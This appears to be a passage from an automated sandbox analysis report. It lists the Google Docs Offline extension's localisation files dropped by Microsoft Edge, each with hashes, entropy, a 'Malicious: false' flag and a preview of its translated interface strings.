Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
